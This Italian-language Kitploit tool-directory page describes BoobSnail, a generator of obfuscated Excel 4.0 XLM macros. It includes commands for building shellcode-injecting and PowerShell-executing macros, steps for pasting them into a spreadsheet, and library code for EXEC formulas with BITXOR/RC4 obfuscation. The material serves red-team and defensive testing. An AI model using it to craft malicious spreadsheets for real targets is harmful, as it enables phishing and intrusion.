Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
boobsnail — Genera macro XLM di Excel 4.0 offuscate per operazioni red team e analisi blue team, con supporto per molteplici tecniche di infezione, traduzione di formule e generatori personalizzati basati su librerie. | Kitploit
Strumenti/GitHubGitHub/stmcyber/boobsnail
Strumenti di PhishingGenerazione di PayloadPenetration TestingIngegneria SocialeRed Teaming
GitHubstmcyber/boobsnail

boobsnail

Genera macro XLM di Excel 4.0 offuscate per operazioni red team e analisi blue team, con supporto per molteplici tecniche di infezione, traduzione di formule e generatori personalizzati basati su librerie.

Vedi Repository
256491 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

License

Seguici su Twitter!

BoobSnail

BoobSnail consente di generare macro XLM (Excel 4.0). Il suo scopo è supportare RedTeam e BlueTeam nella generazione di macro XLM. Caratteristiche:

  • varie tecniche di infezione;
  • varie tecniche di offuscamento;
  • traduzione delle formule in lingue diverse dall'inglese;
  • può essere usato come libreria - puoi facilmente scrivere il tuo generatore.

Compilazione ed Esecuzione

Testato su: Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

Utilizzo dei generatori

root@kitploit:~
python boobsnail.py <generator> -h

Per visualizzare i generatori disponibili digita:

root@kitploit:~
python boobsnail.py

Esempi

Genera una macro offuscata che inietta shellcode x64 o x86:

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv

Genera una macro offuscata che esegue calc.exe:

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Salvare l'output in Excel

  1. Esporta l'output in un file CSV.
  2. Copia il contenuto del file CSV.
  3. Avvia Excel e crea un nuovo foglio di lavoro.
  4. Aggiungi una nuova macro Excel 4.0 (clic destro su Foglio1 -> Inserisci -> Macro MS Excel 4.0).
  5. Incolla il contenuto nella cella A1 o R1C1.
  6. Clicca Dati -> Testo in colonne.
  7. Clicca Avanti -> Imposta il punto e virgola come separatore e clicca Fine.

Utilizzo della libreria

BoobSnail condivide la libreria excel4lib che consente di creare il proprio generatore di macro Excel4. excel4lib contiene alcune classi che possono essere utilizzate durante la scrittura del generatore:

  • excel4lib.macro.Excel4Macro - consente di definire formule Excel4, valori e variabili;
  • excel4lib.macro.obfuscator.Excel4Obfuscator - consente di offuscare le istruzioni create in Excel4Macro;
  • excel4lib.lang.Excel4Translator - consente di tradurre le formule in un'altra lingua.

L'idea principale di questa libreria è rappresentare formule, variabili, argomenti di formule e valori Excel4 come oggetti Python. Grazie a ciò, puoi modificare facilmente gli attributi delle istruzioni come nomi di formule o variabili, valori, indirizzi, ecc. Ad esempio, creiamo una semplice macro che esegue calc.exe

root@kitploit:~
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Risultato:

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

Ora supponiamo che tu voglia offuscare la tua macro. Per farlo, devi solo importare l'offuscatore e passarlo all'oggetto Excel4Macro:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Per ora excel4lib mette a disposizione due classi di offuscamento:

  • excel4lib.macro.obfuscator.Excel4Obfuscator utilizza funzioni Excel 4.0 come BITXOR, SUM, ecc. per offuscare la tua macro;
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator utilizza la crittografia RC4 per offuscare le formule.

Come puoi vedere, puoi scrivere la tua classe di offuscamento e usarla in Excel4Macro.

A volte avrai bisogno di tradurre la tua macro in un'altra lingua, ad esempio la tua lingua madre, nel mio caso è il polacco. Con excel4lib è piuttosto semplice. Devi solo importare la classe Excel4Translator e chiamare set_language

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Risultato:

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

Per ora, sono supportate solo le lingue inglese e polacca. Se vuoi usare un'altra lingua, devi aggiungere le traduzioni nella directory excel4lib/lang/langs.

Sicuramente avrai bisogno di creare una formula che prenda un'altra formula come argomento. Puoi farlo usando la funzione Excel4Macro.argument.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())

Risultato:

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

Come puoi vedere, la stringa ".exe" è stata passata alla formula CONCATENATE come R2C1. R2C1 è l'indirizzo del valore ".exe" (riga numero 2 e colonna numero 1). excel4lib restituisce riferimenti a formule e valori come indirizzi. I riferimenti alle variabili vengono restituiti come nomi. Probabilmente hai notato che la classe Excel4Macro aggiunge formule, variabili e valori al foglio di lavoro automaticamente nell'ordine in cui questi oggetti vengono creati e che l'indirizzo iniziale è R1C1. Cosa succede se vuoi posizionare le formule in un'altra colonna o riga? Puoi farlo chiamando la funzione Excel4Macro.set_cords.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())

Risultato:

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

Autore

mzer0 del team stm_cyber!

Articoli

Il primo passo in Excel 4.0 per Red Team

BoobSnail - generatore di macro Excel 4.0

Scarica lo strumento